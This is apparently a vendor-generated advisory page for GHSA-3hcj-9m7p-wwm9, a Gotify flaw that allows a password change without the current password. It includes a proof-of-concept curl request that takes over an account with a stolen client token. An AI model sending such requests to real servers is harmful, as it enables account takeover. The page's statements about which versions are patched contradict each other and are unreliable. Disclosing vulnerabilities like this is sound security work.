How severe is GHSA-3hcj-9m7p-wwm9?

No CVSS score has been assigned to GHSA-3hcj-9m7p-wwm9 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-3hcj-9m7p-wwm9?

GHSA-3hcj-9m7p-wwm9 affects the following packages: github.com/gotify/server/v2 (Go), github.com/gotify/server/v3 (Go). Ecosystems affected: Go.

How do I fix GHSA-3hcj-9m7p-wwm9?

No patched version of github.com/gotify/server/v2 has shipped for GHSA-3hcj-9m7p-wwm9 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

How do I detect GHSA-3hcj-9m7p-wwm9 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotify/server/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-3hcj-9m7p-wwm9 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Is GHSA-3hcj-9m7p-wwm9 actively exploited in the wild?

No public exploit code has been indexed for GHSA-3hcj-9m7p-wwm9 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-3hcj-9m7p-wwm9?

GHSA-3hcj-9m7p-wwm9 has an EPSS (Exploit Prediction Scoring System) score of 0.3%, placing it in the 26th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-3hcj-9m7p-wwm9?

GHSA-3hcj-9m7p-wwm9 is classified as CWE-620 (CWE-620). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-3hcj-9m7p-wwm9 published, and has it been updated?

GHSA-3hcj-9m7p-wwm9 was published on October 15, 2026 and was last updated on October 19, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

Not in CISA KEV

Gotify: Insufficiently Protected Password Change endpointGHSA-3hcj-9m7p-wwm9

Fix: gotify/server#952

GHSA-3hcj-9m7p-wwm9 is a CWE-620 vulnerability in github.com/gotify/server/v2. A fix is available for github.com/gotify/server/v2 — see the affected versions and patch details below.

Also known asCVE-2026-102603GO-2026-6772

Published

Oct 15, 2026

Updated

Oct 19, 2026

Affected

2 pkgs

Patched

1 / 2

Exploits

None indexed

Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-3hcj-9m7p-wwm9.

EPSS Exploitation Probability

via FIRST.org ↗

0.3%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs26th percentile — riskier than 26% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

2 pkgs affected

🐹github.com/gotify/server/v2🐹github.com/gotify/server/v3

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

The password change endpoint (POST /current/user/password) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.

PoC

# Attacker has obtained a client token
# No prior password knowledge required
STOLEN_TOKEN="Cxxxxxxxxxx"

curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"pass":"attacker_controls_this"}'
# Expected response:
# HTTP/1.1 200 OK

Mitigation

Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or
Restrict access to the state-changing endpoints under /user and /current/user to trusted networks.

Affected Packages

2 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/gotify/server/v2`	all versions	No fix
🐹Go	`github.com/gotify/server/v3`	all versions	3.0.0`go get github.com/gotify/server/v3@v3.0.0`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotify/server/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
No patched version of github.com/gotify/server/v2 has shipped for GHSA-3hcj-9m7p-wwm9 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

The password change endpoint (`POST /current/user/password`) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access. ## PoC ```bash # Attacker has obtained a client token # No prior password knowledge required STOLEN_TOKEN="Cxxxxxxxxxx" curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \ -H "Content-Type: application/json" \ -d '{"pass":"attacker_controls_t

O3 Security · Impact-Aware SCA

Is GHSA-3hcj-9m7p-wwm9 in your dependencies?

Find it across Go, including transitive dependencies.

Scan my dependencies How O3 SCA works